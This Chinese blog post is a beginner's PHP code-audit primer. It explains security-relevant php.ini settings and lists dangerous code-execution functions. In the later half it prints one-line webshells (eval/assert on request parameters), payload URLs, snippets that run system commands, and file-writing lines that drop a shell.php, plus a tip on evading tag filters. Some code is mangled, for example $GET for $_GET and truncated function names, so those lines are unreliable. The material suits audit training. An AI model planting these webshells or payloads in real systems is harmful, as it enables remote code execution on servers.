PHP代码入门
小白代码审计的养成之路—基础
一 、编程语言篇
二 、渗透技巧篇
三 、辅助技术篇
四、漏洞挖掘
小白代码审计的养成之路—思路
两大审计的基本方法
-
跟踪用户的输入数据,判断数据进入的每一个代码逻辑是否有可利用的点,此处的代码逻辑可以是一个函数,或者是条小小的条件判断语句。 -
根据不同编程语言的特性,及其历史上经常产生漏洞的一些函数,功能,把这些点找出来,在分析函数调用时的参数,如果参数是用户可控,就很有可能引发安全漏洞
寻找漏洞前准备
挖掘漏洞方式
首先PHP的配置
1.php的配置-配置文件
php.ini
全局.user.ini
用户2.PHP的配置-语法
directive=value
,3.PHP的配置-变量相关配置
register_globals = Off
$POST,$GET,$COOKIE,$ENV,$SESSION
数组中的$key=>$value
直接注册为变量($POST['username']就会被注册为$username)
short_open_tag = On
<? ?>
)。如果禁用了,必须使用必须使用php代码开始标志的完整形式(<?php ?>
)。这个指令也会影响到缩写形式<?=
,它和<?echo
等价。使用此缩写需要short_open_tag
的值为On
,从php5.4.0起,<?=总是可用的。(写shell的时候会判断标签如果有<?php?>
就会拦截,如果开启了短标签就可以考虑用缩写)4.PHP的配置-常见重要配置-安全模式
safe_mode = Off
system()
,同时把很多文件操作函数进行了权限控制,也不允许某些关键文件的文件,比如/etc/passwd,但默认的php.ini是没有打开安全模式的(这个特性自php5.3.0起废弃并在php5.4.0起移除)safe_mode_exec_dir = /var/www/html
如果php使用了安全模式,system()
和其他程序执行函数将拒绝启动不在此目录中的程序。必须使用/作为目录分隔符,包括windows中。简单来说,就是在这个目录下才可执行。disable_classes = ,disable_functions = ,disable_functions = opendir,readdir,scandir,fopen,unlink
禁用某些类,禁止某些函数。接受逗号分隔的函数名列表作为参数。只能设置在
php.ini
中。5.PHP的配置-常见的重要配置-上传文件及目录权限
file_uploads = On ,upload_max_filesize = 8M
upload_tmp_dir =
上传文件临时保存的目录,需要可写,如果不设置,则采用系统临时目录。(/tmp,C:WindowsTemp
)open_basedir = .:/tmp/
使用open_basedir选项能够控制php脚本只能访问指定目录,这样能避免php脚本访问本不应该访问的文件,一定程度上限制了phpshell的危害,一般设置为只能访问网站目录,表示允许访问当前目录(即php脚本文件所在之目录)和/tmp/目录,有效防止php木马跨站运行。
6.PHP的配置-常见的重要配置-错误信息
display_error = On
是否将错误信息作为输出的一部分,站点发布后应关闭这个功能,以免暴露信息。调试的时候打开就好
error_reporting = E_ALL
这个设置的作用是将错误级别设置为最高,显示所有错误,方便查错,有利于写出高质量代码。日志级别是一些常量,在
php.ini
中有写,推荐使用E_ALL|E_STRICT
,即所有级别。error_log =
错误日志的位置,必须对web用户可写入,如果不定义则默认写到web服务器的错误日志中去 log_error = On
建议将错误日志输出到文件,而不直接输出到前端。log_errors_max_length = 1024
错误日志关联信息的最大长度,设置为0的时候表示无限长度。7.PHP的配置-常见的重要配置-魔术引号及远程文件
magic_quotes_gpc = On
magic_quotes_runtime = Off
为GPC(
GET/POST/COOKIE
)操作设置magic_quotes
状态,当magic_quotes为On
所有的'
(单引号)、"
(双引号)、(反斜杆)、和NULL
都被一个反斜杆自动转义allow_url_fopen = On
<?php echo file_get_contents("http://php.net"); ?>
allow_url_include = Off
include,include_once,require,require_once
等函数使用url形式的fopen封装协议。简单来说就是可以包含远程文件。 <?php include("http://php.net"); ?>
PHP代码执行函数总结
常见代码执行函数,如
array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort()
($a($b))
1.eval()
<?php eval($_POST[cmd])?>
2.assert()
eval()
类似,字符串被 assert()
当做 PHP 代码来执行,如:示例代码:
<?php //?cmd=phpinfo() assert($_REQUEST[cmd]); ?>
3.reg_replace()
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索subject中匹配pattern的部分, 以replacement进行替换。
preg_replace()
函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e
修饰符,使 preg_replace()
将$replacement
参数当作 PHP 代码<?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?>
4.reate_function()
create_function()
主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()
执行任意命令。<?php //?cmd=phpinfo(); $func =create_function('',$_REQUEST['cmd']); $func(); ?>
5.array_map()
array_map()
函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。回调函数接受的参数数目应该和传递给 array_map()
函数的数组数目一致。<?php //?func=system&cmd=whoami $func=$GET['func']; $cmd=$GET['cmd']; $array[0]=$cmd; $new_array=array_map($func,$array); //print_r($new_array); ?>
6.call_user_func()/call_user_func_array ()
call_user_func
把第一个参数作为回调函数调用,其余参数是回调函数的参数。call_user_func_array
调用回调函数,并把一个数组参数作为回调函数的参数<?php //?cmd=phpinfo() @call_user_func(assert,$_GET['cmd']); ?>
<?php //?cmd=phpinfo() $cmd=$_GET['cmd']; $array[0]=$cmd; call_user_func_array("assert",$array); ?>
7.array_filter()
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
依次将
array
数组中的每个值传递到callback
函数。如果 callback
函数返回true
,则array
数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。<?php //?func=system&cmd=whoami $cmd=$GET['cmd']; $array1=array($cmd); $func =$GET['func']; array_filter($array1,$func); ?>
8.usort()、uasort()
<?php usort(...$_GET);?>
利用方式:test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
[POST] x=phpinfo();
利用方式:test.php?1=1+1&2=eval($_POST[x])
9.文件操作函数
file_put_contents()
函数把一个字符串写入文件中。fputs() 函数写入文件
<?php $test='<?php eval($_POST[cmd]);?>'; file_put_contents('test1.php',$test); ?> <?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>'); ?>
10.动态函数
<?php //?a=assert&b=phpinfo() $GET['a']($GET['b']); ?>
原创文章,作者:陌涛,如若转载,请注明出处:https://imotao.com/2806.html